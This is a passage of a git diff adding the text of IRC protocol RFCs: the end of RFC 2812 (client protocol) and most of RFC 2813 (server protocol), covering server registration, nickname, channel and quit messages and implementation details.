+   Server Protocol" [IRC-SERVER] as they are mostly an issue for the
+   server side of the connection.
+
+8. Current support and availability
+
+        Mailing lists for IRC related discussion:
+          General discussion: ircd-users@irc.org
+          Protocol development: ircd-dev@irc.org
+
+        Software implementations:
+          ftp://ftp.irc.org/irc/server
+          ftp://ftp.funet.fi/pub/unix/irc
+          ftp://ftp.irc.org/irc/clients
+
+        Newsgroup: alt.irc
+
+9. Acknowledgements
+
+   Parts of this document were copied from the RFC 1459 [IRC] which
+   first formally documented the IRC Protocol.  It has also benefited
+   from many rounds of review and comments.  In particular, the
+   following people have made significant contributions to this
+   document:
+
+   Matthew Green, Michael Neumayer, Volker Paulsen, Kurt Roeckx, Vesa
+   Ruokonen, Magnus Tjernstrom, Stefan Zehl.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 61]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+10. References
+
+   [KEYWORDS]   Bradner, S., "Key words for use in RFCs to Indicate
+                Requirement Levels", BCP 14, RFC 2119, March 1997.
+
+   [ABNF]       Crocker, D. and P. Overell, "Augmented BNF for Syntax
+                Specifications: ABNF", RFC 2234, November 1997.
+
+   [HNAME]      Braden, R., "Requirements for Internet Hosts --
+                Application and Support", STD 3, RFC 1123, October 1989.
+
+   [IRC]        Oikarinen, J. & D. Reed, "Internet Relay Chat Protocol",
+                RFC 1459, May 1993.
+
+   [IRC-ARCH]   Kalt, C., "Internet Relay Chat: Architecture", RFC 2810,
+                April 2000.
+
+   [IRC-CHAN]   Kalt, C., "Internet Relay Chat: Channel Management", RFC
+                2811, April 2000.
+
+   [IRC-SERVER] Kalt, C., "Internet Relay Chat: Server Protocol", RFC
+                2813, April 2000.
+
+11. Author's Address
+
+   Christophe Kalt
+   99 Teaneck Rd, Apt #117
+   Ridgefield Park, NJ 07660
+   USA
+
+   EMail: kalt@stealth.net
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 62]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+12.  Full Copyright Statement
+
+   Copyright (C) The Internet Society (2000).  All Rights Reserved.
+
+   This document and translations of it may be copied and furnished to
+   others, and derivative works that comment on or otherwise explain it
+   or assist in its implementation may be prepared, copied, published
+   and distributed, in whole or in part, without restriction of any
+   kind, provided that the above copyright notice and this paragraph are
+   included on all such copies and derivative works.  However, this
+   document itself may not be modified in any way, such as by removing
+   the copyright notice or references to the Internet Society or other
+   Internet organizations, except as needed for the purpose of
+   developing Internet standards in which case the procedures for
+   copyrights defined in the Internet Standards process must be
+   followed, or as required to translate it into languages other than
+   English.
+
+   The limited permissions granted above are perpetual and will not be
+   revoked by the Internet Society or its successors or assigns.
+
+   This document and the information contained herein is provided on an
+   "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING
+   TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING
+   BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION
+   HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF
+   MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+Acknowledgement
+
+   Funding for the RFC Editor function is currently provided by the
+   Internet Society.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 63]
+
diff --git a/rfc/rfc2813.txt b/rfc/rfc2813.txt
new file mode 100644
index 0000000..2da3de0
--- /dev/null
+++ b/rfc/rfc2813.txt
@@ -0,0 +1,1459 @@
+
+
+
+
+
+
+Network Working Group                                           C. Kalt
+Request for Comments: 2813                                   April 2000
+Updates: 1459
+Category: Informational
+
+
+                  Internet Relay Chat: Server Protocol
+
+Status of this Memo
+
+   This memo provides information for the Internet community.  It does
+   not specify an Internet standard of any kind.  Distribution of this
+   memo is unlimited.
+
+Copyright Notice
+
+   Copyright (C) The Internet Society (2000).  All Rights Reserved.
+
+Abstract
+
+   While based on the client-server model, the IRC (Internet Relay Chat)
+   protocol allows servers to connect to each other effectively forming
+   a network.
+
+   This document defines the protocol used by servers to talk to each
+   other.  It was originally a superset of the client protocol but has
+   evolved differently.
+
+   First formally documented in May 1993 as part of RFC 1459 [IRC], most
+   of the changes brought since then can be found in this document as
+   development was focused on making the protocol scale better.  Better
+   scalability has allowed existing world-wide networks to keep growing
+   and reach sizes which defy the old specification.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                      [Page 1]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+Table of Contents
+
+   1.  Introduction ...............................................   3
+   2.  Global database ............................................   3
+      2.1  Servers ................................................   3
+      2.2  Clients ................................................   4
+         2.2.1  Users .............................................   4
+         2.2.2  Services ..........................................   4
+      2.3  Channels ...............................................   4
+   3.  The IRC Server Specification ...............................   5
+      3.1  Overview ...............................................   5
+      3.2  Character codes ........................................   5
+      3.3  Messages ...............................................   5
+         3.3.1  Message format in Augmented BNF ...................   6
+      3.4  Numeric replies ........................................   7
+   4.  Message Details ............................................   7
+      4.1  Connection Registration ................................   8
+         4.1.1  Password message ..................................   8
+         4.1.2  Server message ....................................   9
+         4.1.3  Nick ..............................................  10
+         4.1.4  Service message ...................................  11
+         4.1.5  Quit ..............................................  12
+         4.1.6  Server quit message ...............................  13
+      4.2  Channel operations .....................................  14
+         4.2.1  Join message ......................................  14
+         4.2.2  Njoin message .....................................  15
+         4.2.3  Mode message ......................................  16
+   5.  Implementation details  ....................................  16
+      5.1  Connection 'Liveness' ..................................  16
+      5.2  Accepting a client to server connection ................  16
+         5.2.1  Users .............................................  16
+         5.2.2  Services ..........................................  17
+      5.3  Establishing a server-server connection. ...............  17
+         5.3.1  Link options ......................................  17
+            5.3.1.1  Compressed server to server links ............  18
+            5.3.1.2  Anti abuse protections .......................  18
+         5.3.2  State information exchange when connecting ........  18
+      5.4  Terminating server-client connections ..................  19
+      5.5  Terminating server-server connections ..................  19
+      5.6  Tracking nickname changes ..............................  19
+      5.7  Tracking recently used nicknames .......................  20
+      5.8  Flood control of clients ...............................  20
+      5.9  Non-blocking lookups ...................................  21
+         5.9.1  Hostname (DNS) lookups ............................  21
+         5.9.2  Username (Ident) lookups ..........................  21
+   6.  Current problems ...........................................  21
+      6.1  Scalability ............................................  21
+      6.2  Labels .................................................  22
+
+
+
+Kalt                         Informational                      [Page 2]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+         6.2.1  Nicknames .........................................  22
+         6.2.2  Channels ..........................................  22
+         6.2.3  Servers ...........................................  22
+      6.3  Algorithms .............................................  22
+   7.  Security Considerations ....................................  23
+      7.1  Authentication .........................................  23
+      7.2  Integrity ..............................................  23
+   8.  Current support and availability ...........................  24
+   9.  Acknowledgements ...........................................  24
+   10.  References ................................................  24
+   11.  Author's Address ..........................................  25
+   12. Full Copyright Statement ...................................  26
+
+1. Introduction
+
+   This document is intended for people working on implementing an IRC
+   server but will also be useful to anyone implementing an IRC service.
+
+   Servers provide the three basic services required for realtime
+   conferencing defined by the "Internet Relay Chat: Architecture"
+   [IRC-ARCH]: client locator (via the client protocol [IRC-CLIENT]),
+   message relaying (via the server protocol defined in this document)
+   and channel hosting and management (following specific rules [IRC-
+   CHAN]).
+
+2. Global database
+
+   Although the IRC Protocol defines a fairly distributed model, each
+   server maintains a "global state database" about the whole IRC
+   network.  This database is, in theory, identical on all servers.
+
+2.1 Servers
+
+   Servers are uniquely identified by their name which has a maximum
+   length of sixty three (63) characters.  See the protocol grammar
+   rules (section 3.3.1) for what may and may not be used in a server
+   name.
+
+   Each server is typically known by all other servers, however it is
+   possible to define a "hostmask" to group servers together according
+   to their name.  Inside the hostmasked area, all the servers have a
+   name which matches the hostmask, and any other server with a name
+   matching the hostmask SHALL NOT be connected to the IRC network
+   outside the hostmasked area.  Servers which are outside the area have
+   no knowledge of the individual servers present inside the area,
+   instead they are presented with a virtual server which has the
+   hostmask for name.
+
+
+
+
+Kalt                         Informational                      [Page 3]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+2.2 Clients
+
+   For each client, all servers MUST have the following information: a
+   netwide unique identifier (whose format depends on the type of
+   client) and the server to which the client is connected.
+
+2.2.1 Users
+
+   Each user is distinguished from other users by a unique nickname
+   having a maximum length of nine (9) characters.  See the protocol
+   grammar rules (section 3.3.1) for what may and may not be used in a
+   nickname.  In addition to the nickname, all servers MUST have the
+   following information about all users: the name of the host that the
+   user is running on, the username of the user on that host, and the
+   server to which the client is connected.
+
+2.2.2 Services
+
+   Each service is distinguished from other services by a service name
+   composed of a nickname and a server name.  The nickname has a maximum
+   length of nine (9) characters.  See the protocol grammar rules
+   (section 3.3.1) for what may and may not be used in a nickname.  The
+   server name used to compose the service name is the name of the
+   server to which the service is connected.  In addition to this
+   service name all servers MUST know the service type.
+
+   Services differ from users by the format of their identifier, but
+   more importantly services and users don't have the same type of
+   access to the server: services can request part or all of the global
+   state information that a server maintains, but have a more restricted
+   set of commands available to them (See "IRC Client Protocol" [IRC-
+   CLIENT] for details on which) and are not allowed to join channels.
+   Finally services are not usually subject to the "Flood control"
+   mechanism described in section 5.8.
+
+2.3 Channels
+
+   Alike services, channels have a scope [IRC-CHAN] and are not
+   necessarily known to all servers.  When a channel existence is known
+   to a server, the server MUST keep track of the channel members, as
+   well as the channel modes.
+
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                      [Page 4]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+3. The IRC Server Specification
+
+3.1 Overview
+
+   The protocol as described herein is for use with server to server
+   connections.  For client to server connections, see the IRC Client
+   Protocol specification.
+
+   There are, however, more restrictions on client connections (which
+   are considered to be untrustworthy) than on server connections.
+
+3.2 Character codes
+
+   No specific character set is specified. The protocol is based on a a
+   set of codes which are composed of eight (8) bits, making up an
+   octet.  Each message may be composed of any number of these octets;
+   however, some octet values are used for control codes which act as
+   message delimiters.
+
+   Regardless of being an 8-bit protocol, the delimiters and keywords
+   are such that protocol is mostly usable from US-ASCII terminal and a
+   telnet connection.
+
+   Because of IRC's Scandinavian origin, the characters {}|^ are
+   considered to be the lower case equivalents of the characters []\~,
+   respectively. This is a critical issue when determining the
+   equivalence of two nicknames, or channel names.
+
+3.3 Messages
+
+   Servers and clients send each other messages which may or may not
+   generate a reply.  Most communication between servers do not generate
+   any reply, as servers mostly perform routing tasks for the clients.
+
+   Each IRC message may consist of up to three main parts: the prefix
+   (OPTIONAL), the command, and the command parameters (maximum of
+   fifteen (15)).  The prefix, command, and all parameters are separated
+   by one ASCII space character (0x20) each.
+
+   The presence of a prefix is indicated with a single leading ASCII
+   colon character (':', 0x3b), which MUST be the first character of the
+   message itself.  There MUST be NO gap (whitespace) between the colon
+   and the prefix.  The prefix is used by servers to indicate the true
+   origin of the message.  If the prefix is missing from the message, it
+   is assumed to have originated from the connection from which it was
+   received.  Clients SHOULD not use a prefix when sending a message
+   from themselves; if they use one, the only valid prefix is the
+   registered nickname associated with the client.
+
+
+
+Kalt                         Informational                      [Page 5]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+   When a server receives a message, it MUST identify its source using
+   the (eventually assumed) prefix.  If the prefix cannot be found in
+   the server's internal database, it MUST be discarded, and if the
+   prefix indicates the message comes from an (unknown) server, the link
+   from which the message was received MUST be dropped.  Dropping a link
+   in such circumstances is a little excessive but necessary to maintain
+   the integrity of the network and to prevent future problems.  Another
+   common error condition is that the prefix found in the server's
+   internal database identifies a different source (typically a source
+   registered from a different link than from which the message
+   arrived).  If the message was received from a server link and the
+   prefix identifies a client, a KILL message MUST be issued for the
+   client and sent to all servers.  In other cases, the link from which
+   the message arrived SHOULD be dropped for clients, and MUST be
+   dropped for servers.  In all cases, the message MUST be discarded.
+
+   The command MUST either be a valid IRC command or a three (3) digit
+   number represented in ASCII text.
+
+   IRC messages are always lines of characters terminated with a CR-LF
+   (Carriage Return - Line Feed) pair, and these messages SHALL NOT
+   exceed 512 characters in length, counting all characters including
+   the trailing CR-LF. Thus, there are 510 characters maximum allowed
+   for the command and its parameters.  There is no provision for
+   continuation message lines.  See section 5 for more details about
+   current implementations.
+
+3.3.1 Message format in Augmented BNF
+
+   The protocol messages must be extracted from the contiguous stream of
+   octets.  The current solution is to designate two characters, CR and
+   LF, as message separators.  Empty messages are silently ignored,
+   which permits use of the sequence CR-LF between messages without
+   extra problems.
+
+   The extracted message is parsed into the components <prefix>,
+   <command> and list of parameters (<params>).
+
+   The Augmented BNF representation for this is found in "IRC Client
+   Protocol" [IRC-CLIENT].
+
+   The extended prefix (["!" user "@" host ]) MUST NOT be used in server
+   to server communications and is only intended for server to client
+   messages in order to provide clients with more useful information
+   about who a message is from without the need for additional queries.
+
+
+
+
+
+
+Kalt                         Informational                      [Page 6]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+3.4 Numeric replies
+
+   Most of the messages sent to the server generate a reply of some
+   sort.  The most common reply is the numeric reply, used for both
+   errors and normal replies.  The numeric reply MUST be sent as one
+   message consisting of the sender prefix, the three digit numeric, and
+   the target of the reply.  A numeric reply is not allowed to originate
+   from a client; any such messages received by a server are silently
+   dropped. In all other respects, a numeric reply is just like a normal
+   message, except that the keyword is made up of 3 numeric digits
+   rather than a string of letters.  A list of different replies is
+   supplied in "IRC Client Protocol" [IRC-CLIENT].
+
+4. Message Details
+
+   All the messages recognized by the IRC server and client are
+   described in the IRC Client Protocol specification.
+
+   Where the reply ERR_NOSUCHSERVER is returned, it means that the
+   target of the message could not be found.  The server MUST NOT send
+   any other replies after this error for that command.
+
+   The server to which a client is connected is required to parse the
+   complete message, returning any appropriate errors.  If the server
+   encounters a fatal error while parsing a message, an error MUST be
+   sent back to the client and the parsing terminated.  A fatal error
+   may follow from incorrect command, a destination which is otherwise
+   unknown to the server (server, client or channel names fit this
+   category), not enough parameters or incorrect privileges.
+
+   If a full set of parameters is presented, then each MUST be checked
+   for validity and appropriate responses sent back to the client.  In
+   the case of messages which use parameter lists using the comma as an
+   item separator, a reply MUST be sent for each item.
+
+   In the examples below, some messages appear using the full format:
+
+   :Name COMMAND parameter list
+
+   Such examples represent a message from "Name" in transit between
+   servers, where it is essential to include the name of the original
+   sender of the message so remote servers may send back a reply along
+   the correct path.
+
+   The message details for client to server communication are described
+   in the "IRC Client Protocol" [IRC-CLIENT].  Some sections in the
+   following pages apply to some of these messages, they are additions
+   to the message specifications which are only relevant to server to
+
+
+
+Kalt                         Informational                      [Page 7]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+   server communication, or to the server implementation.  The messages
+   which are introduced here are only used for server to server
+   communication.
+
+4.1 Connection Registration
+
+   The commands described here are used to register a connection with
+   another IRC server.
+
+4.1.1 Password message
+
+      Command: PASS
+   Parameters: <password> <version> <flags> [<options>]
+
+   The PASS command is used to set a 'connection password'.  The
+   password MUST be set before any attempt to register the connection is
+   made.  Currently this means that servers MUST send a PASS command
+   before any SERVER command.  Only one (1) PASS command SHALL be
+   accepted from a connection.
+
+   The last three (3) parameters MUST be ignored if received from a
+   client (e.g. a user or a service).  They are only relevant when
+   received from a server.
+
+   The <version> parameter is a string of at least four (4) characters,
+   and up to fourteen (14) characters.  The first four (4) characters
+   MUST be digits and indicate the protocol version known by the server
+   issuing the message.  The protocol described by this document is
+   version 2.10 which is encoded as "0210".  The remaining OPTIONAL
+   characters are implementation dependent and should describe the
+   software version number.
+
+   The <flags> parameter is a string of up to one hundred (100)
+   characters.  It is composed of two substrings separated by the
+   character "|" (%x7C).  If present, the first substring MUST be the
+   name of the implementation.  The reference implementation (See
+   Section 8, "Current support and availability") uses the string "IRC".
+   If a different implementation is written, which needs an identifier,
+   then that identifier should be registered through publication of an
+   RFC. The second substring is implementation dependent.  Both
+   substrings are OPTIONAL, but the character "|" is REQUIRED.  The
+   character "|" MUST NOT appear in either substring.
+
+   Finally, the last parameter, <options>, is used for link options.
+   The only options defined by the protocol are link compression (using
+   the character "Z"), and an abuse protection flag (using the character
+
+
+
+
+
+Kalt                         Informational                      [Page 8]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+   "P").  See sections 5.3.1.1 (Compressed server to server links) and
+   5.3.1.2 (Anti abuse protections) respectively for more information on
+   these options.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_ALREADYREGISTRED
+
+   Example:
+
+        PASS moresecretpassword 0210010000 IRC|aBgH$ Z
+
+4.1.2 Server message
+
+      Command: SERVER
+   Parameters: <servername> <hopcount> <token> <info>
+
+   The SERVER command is used to register a new server. A new connection
+   introduces itself as a server to its peer.  This message is also used
+   to pass server data over whole net.  When a new server is connected
+   to net, information about it MUST be broadcasted to the whole
+   network.
+
+   The <info> parameter may contain space characters.
+
+   <hopcount> is used to give all servers some internal information on
+   how far away each server is.  Local peers have a value of 0, and each
+   passed server increments the value.  With a full server list, it
+   would be possible to construct a map of the entire server tree, but
+   hostmasks prevent this from being done.
+
+   The <token> parameter is an unsigned number used by servers as an
+   identifier.  This identifier is subsequently used to reference a
+   server in the NICK and SERVICE messages sent between servers.  Server
+   tokens only have a meaning for the point-to-point peering they are
+   used and MUST be unique for that connection.  They are not global.
+
+   The SERVER message MUST only be accepted from either (a) a connection
+   which is yet to be registered and is attempting to register as a
+   server, or (b) an existing connection to another server, in which
+   case the SERVER message is introducing a new server behind that
+   server.
+
+   Most errors that occur with the receipt of a SERVER command result in
+   the connection being terminated by the destination host (target
+   SERVER).  Because of the severity of such event, error replies are
+   usually sent using the "ERROR" command rather than a numeric.
+
+
+
+
+Kalt                         Informational                      [Page 9]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+   If a SERVER message is parsed and it attempts to introduce a server
+   which is already known to the receiving server, the connection, from
+   which that message arrived, MUST be closed (following the correct
+   procedures), since a duplicate route to a server has been formed and
+   the acyclic nature of the IRC tree breaks.  In some conditions, the
+   connection from which the already known server has registered MAY be
+   closed instead.  It should be noted that this kind of error can also
+   be the result of a second running server, problem which cannot be
+   fixed within the protocol and typically requires human intervention.
+   This type of problem is particularly insidious, as it can quite
+   easily result in part of the IRC network to be isolated, with one of
+   the two servers connected to each partition therefore making it
+   impossible for the two parts to unite.
+
+   Numeric Replies:
+
+           ERR_ALREADYREGISTRED
+
+   Example:
+
+   SERVER test.oulu.fi 1 1 :Experimental server ; New server
+                                   test.oulu.fi introducing itself and
+                                   attempting to register.
+
+   :tolsun.oulu.fi SERVER csd.bu.edu 5 34 :BU Central Server ; Server
+                                   tolsun.oulu.fi is our uplink for
+                                   csd.bu.edu which is 5 hops away.  The
+                                   token "34" will be used by
+                                   tolsun.oulu.fi when introducing new
+                                   users or services connected to
+                                   csd.bu.edu.
+
+4.1.3 Nick
+
+      Command: NICK
+   Parameters: <nickname> <hopcount> <username> <host> <servertoken>
+               <umode> <realname>
+
+   This form of the NICK message MUST NOT be allowed from user
+   connections. However, it MUST be used instead of the NICK/USER pair
+   to notify other servers of new users joining the IRC network.
+
+   This message is really the combination of three distinct messages:
+   NICK, USER and MODE [IRC-CLIENT].
+
+   The <hopcount> parameter is used by servers to indicate how far away
+   a user is from its home server.  A local connection has a hopcount of
+   0.  The hopcount value is incremented by each passed server.
+
+
+
+Kalt                         Informational                     [Page 10]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+   The <servertoken> parameter replaces the <servername> parameter of
+   the USER (See section 4.1.2 for more information on server tokens).
+
+   Examples:
+
+   NICK syrk 5 kalt millennium.stealth.net 34 +i :Christophe Kalt ; New
+                                   user with nickname "syrk", username
+                                   "kalt", connected from host
+                                   "millennium.stealth.net" to server
+                                   "34" ("csd.bu.edu" according to the
+                                   previous example).
+
+   :krys NICK syrk                 ; The other form of the NICK message,
+                                   as defined in "IRC Client Protocol"
+                                   [IRC-CLIENT] and used between
+                                   servers: krys changed his nickname to
+                                   syrk
+
+4.1.4 Service message
+
+      Command: SERVICE
+   Parameters: <servicename> <servertoken> <distribution> <type>
+                <hopcount> <info>
+
+   The SERVICE command is used to introduce a new service.  This form of
+   the SERVICE message SHOULD NOT be allowed from client (unregistered,
+   or registered) connections.  However, it MUST be used between servers
+   to notify other servers of new services joining the IRC network.
+
+   The <servertoken> is used to identify the server to which the service
+   is connected.  (See section 4.1.2 for more information on server
+   tokens).
+
+   The <hopcount> parameter is used by servers to indicate how far away
+   a service is from its home server.  A local connection has a hopcount
+   of 0.  The hopcount value is incremented by each passed server.
+
+   The <distribution> parameter is used to specify the visibility of a
+   service.  The service may only be known to servers which have a name
+   matching the distribution.  For a matching server to have knowledge
+   of the service, the network path between that server and the server
+   to which the service is connected MUST be composed of servers whose
+   names all match the mask.  Plain "*" is used when no restriction is
+   wished.
+
+   The <type> parameter is currently reserved for future usage.
+
+
+
+
+
+Kalt                         Informational                     [Page 11]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+   Numeric Replies:
+
+           ERR_ALREADYREGISTRED            ERR_NEEDMOREPARAMS
+           ERR_ERRONEUSNICKNAME
+           RPL_YOURESERVICE                RPL_YOURHOST
+           RPL_MYINFO
+
+   Example:
+
+SERVICE dict@irc.fr 9 *.fr 0 1 :French Dictionary r" registered on
+                                   server "9" is being announced to
+                                   another server.  This service will
+                                   only be available on servers whose
+                                   name matches "*.fr".
+
+4.1.5 Quit
+
+      Command: QUIT
+   Parameters: [<Quit Message>]
+
+   A client session ends with a quit message.  The server MUST close the
+   connection to a client which sends a QUIT message. If a "Quit
+   Message" is given, this will be sent instead of the default message,
+   the nickname or service name.
+
+   When "netsplit" (See Section 4.1.6) occur, the "Quit Message" is
+   composed of the names of two servers involved, separated by a space.
+   The first name is that of the server which is still connected and the
+   second name is either that of the server which has become
+   disconnected or that of the server to which the leaving client was
+   connected:
+
+      <Quit Message> =  ":" servername SPACE servername
+
+   Because the "Quit Message" has a special meaning for "netsplits",
+   servers SHOULD NOT allow a client to use a <Quit Message> in the
+   format described above.
+
+   If, for some other reason, a client connection is closed without the
+   client issuing a QUIT command (e.g. client dies and EOF occurs on
+   socket), the server is REQUIRED to fill in the quit message with some
+   sort of message reflecting the nature of the event which caused it to
+   happen.  Typically, this is done by reporting a system specific
+   error.
+
+   Numeric Replies:
+
+           None.
+
+
+
+Kalt                         Informational                     [Page 12]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+   Examples:
+
+   :WiZ QUIT :Gone to have lunch   ; Preferred message format.
+
+4.1.6 Server quit message
+
+      Command: SQUIT
+   Parameters: <server> <comment>
+
+   The SQUIT message has two distinct uses.
+
+   The first one (described in "Internet Relay Chat: Client Protocol"
+   [IRC-CLIENT]) allows operators to break a local or remote server
+   link.  This form of the message is also eventually used by servers to
+   break a remote server link.
+
+   The second use of this message is needed to inform other servers when
+   a "network split" (also known as "netsplit") occurs, in other words
+   to inform other servers about quitting or dead servers.  If a server
+   wishes to break the connection to another server it MUST send a SQUIT
+   message to the other server, using the name of the other server as
+   the server parameter, which then closes its connection to the
+   quitting server.
+
+   The <comment> is filled in by servers which SHOULD place an error or
+   similar message here.
+
+   Both of the servers which are on either side of the connection being
+   closed are REQUIRED to send out a SQUIT message (to all its other
+   server connections) for all other servers which are considered to be
+   behind that link.
+
+   Similarly, a QUIT message MAY be sent to the other still connected
+   servers on behalf of all clients behind that quitting link.  In
+   addition to this, all channel members of a channel which lost a
+   member due to the "split" MUST be sent a QUIT message.  Messages to
+   channel members are generated by each client's local server.
+
+   If a server connection is terminated prematurely (e.g., the server on
+   the other end of the link died), the server which detects this
+   disconnection is REQUIRED to inform the rest of the network that the
+   connection has closed and fill in the comment field with something
+   appropriate.
+
+   When a client is removed as the result of a SQUIT message, the server
+   SHOULD add the nickname to the list of temporarily unavailable
+   nicknames in an attempt to prevent future nickname collisions. See
+
+
+
+
+Kalt                         Informational                     [Page 13]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+   section 5.7 (Tracking recently used nicknames) for more information
+   on this procedure.
+
+   Numeric replies:
+
+           ERR_NOPRIVILEGES                ERR_NOSUCHSERVER
+           ERR_NEEDMOREPARAMS
+
+   Example:
+
+   SQUIT tolsun.oulu.fi :Bad Link ?  ; the server link tolson.oulu.fi
+                                   has been terminated because of "Bad
+                                   Link".
+
+   :Trillian SQUIT cm22.eng.umd.edu :Server out of control ; message
+                                   from Trillian to disconnect
+                                   "cm22.eng.umd.edu" from the net
+                                   because "Server out of control".
+
+4.2 Channel operations
+
+   This group of messages is concerned with manipulating channels, their
+   properties (channel modes), and their contents (typically users).  In
+   implementing these, a number of race conditions are inevitable when
+   users at opposing ends of a network send commands which will
+   ultimately clash.  It is also REQUIRED that servers keep a nickname
+   history to ensure that wherever a <nick> parameter is given, the
+   server check its history in case it has recently been changed.
+
+4.2.1 Join message
+
+      Command: JOIN
+   Parameters: <channel>[ %x7 <modes> ]
+               *( "," <channel>[ %x7 <modes> ] )
+
+   The JOIN command is used by client to start listening a specific
+   channel. Whether or not a client is allowed to join a channel is
+   checked only by the local server the client is connected to; all
+   other servers automatically add the user to the channel when the
+   command is received from other servers.
+
+   Optionally, the user status (channel modes 'O', 'o', and 'v') on the
+   channel may be appended to the channel name using a control G (^G or
+   ASCII 7) as separator.  Such data MUST be ignored if the message
+   wasn't received from a server.  This format MUST NOT be sent to
+   clients, it can only be used between servers and SHOULD be avoided.
+
+
+
+
+
+Kalt                         Informational                     [Page 14]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+   The JOIN command MUST be broadcast to all servers so that each server
+   knows where to find the users who are on the channel.  This allows
+   optimal delivery of PRIVMSG and NOTICE messages to the channel.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_BANNEDFROMCHAN
+           ERR_INVITEONLYCHAN              ERR_BADCHANNELKEY
+           ERR_CHANNELISFULL               ERR_BADCHANMASK
+           ERR_NOSUCHCHANNEL               ERR_TOOMANYCHANNELS
+           ERR_TOOMANYTARGETS              ERR_UNAVAILRESOURCE
+           RPL_TOPIC
+
+   Examples:
+
+   :WiZ JOIN #Twilight_zone        ; JOIN message from WiZ
+
+4.2.2 Njoin message
+
+      Command: NJOIN
+   Parameters: <channel> [ "@@" / "@" ] [ "+" ] <nickname>
+                         *( "," [ "@@" / "@" ] [ "+" ] <nickname> )
+
+   The NJOIN message is used between servers only.  If such a message is
+   received from a client, it MUST be ignored.  It is used when two
+   servers connect to each other to exchange the list of channel members
+   for each channel.
+
+   Even though the same function can be performed by using a succession
+   of JOIN, this message SHOULD be used instead as it is more efficient.
+   The prefix "@@" indicates that the user is the "channel creator", the
+   character "@" alone indicates a "channel operator", and the character
+   '+' indicates that the user has the voice privilege.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_NOSUCHCHANNEL
+           ERR_ALREADYREGISTRED
+
+   Examples:
+
+   :ircd.stealth.net NJOIN #Twilight_zone :@WiZ,+syrk,avalon ; NJOIN
+                                   message from ircd.stealth.net
+                                   announcing users joining the
+                                   #Twilight_zone channel: WiZ with
+                                   channel operator status, syrk with
+                                   voice privilege and avalon with no
+                                   privilege.
+
+
+
+Kalt                         Informational                     [Page 15]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+4.2.3 Mode message
+
+   The MODE message is a dual-purpose command in IRC.  It allows both
+   usernames and channels to have their mode changed.
+
+   When parsing MODE messages, it is RECOMMENDED that the entire message
+   be parsed first, and then the changes which resulted passed on.
+
+   It is REQUIRED that servers are able to change channel modes so that
+   "channel creator" and "channel operators" may be created.
+
+5. Implementation details
+
+   A the time of writing, the only current implementation of this
+   protocol is the IRC server, version 2.10. Earlier versions may
+   implement some or all of the commands described by this document with
+   NOTICE messages replacing many of the numeric replies. Unfortunately,
+   due to backward compatibility requirements, the implementation of
+   some parts of this document varies with what is laid out.  One
+   notable difference is:
+
+        * recognition that any LF or CR anywhere in a message marks
+          the end of that message (instead of requiring CR-LF);
+
+   The rest of this section deals with issues that are mostly of
+   importance to those who wish to implement a server but some parts
+   also apply directly to clients as well.
+
+5.1 Connection 'Liveness'
+
+   To detect when a connection has died or become unresponsive, the
+   server MUST poll each of its connections.  The PING command (See "IRC
+   Client Protocol" [IRC-CLIENT]) is used if the server doesn't get a
+   response from its peer in a given amount of time.
+
+   If a connection doesn't respond in time, its connection is closed
+   using the appropriate procedures.
+
+5.2 Accepting a client to server connection
+
+5.2.1 Users
+
+   When a server successfully registers a new user connection, it is
+   REQUIRED to send to the user unambiguous messages stating: the user
+   identifiers upon which it was registered (RPL_WELCOME), the server
+   name and version (RPL_YOURHOST), the server birth information
+   (RPL_CREATED), available user and channel modes (RPL_MYINFO), and it
+   MAY send any introductory messages which may be deemed appropriate.
+
+
+
+Kalt                         Informational                     [Page 16]
+
+RFC 2813          Internet Relay Chat: Server Protocol        April 2000
+
+
+   In particular the server SHALL send the current user/service/server
+   count (as per the LUSER reply) and finally the MOTD (if any, as per
+   the MOTD reply).
+
+   After dealing with registration, the server MUST then send out to
+   other servers the new user's nickname (NICK message), other
+   information as supplied by itself (USER message) and as the server
+   could discover (from DNS servers).  The server MUST NOT send this
+   information out with a pair of NICK and USER messages as defined in
+   "IRC Client Protocol" [IRC-CLIENT], but MUST instead take advantage
+   of the extended NICK message defined in section 4.1.3.
+
+5.2.2 Services
+
+   Upon successfully registering a new service connection, the server is
+   subject to the same kind of REQUIREMENTS as for a user.  Services
+   being somewhat different, only the following replies are sent:
+   RPL_YOURESERVICE, RPL_YOURHOST, RPL_MYINFO.
+
+   After dealing with this, the server MUST then send out to other
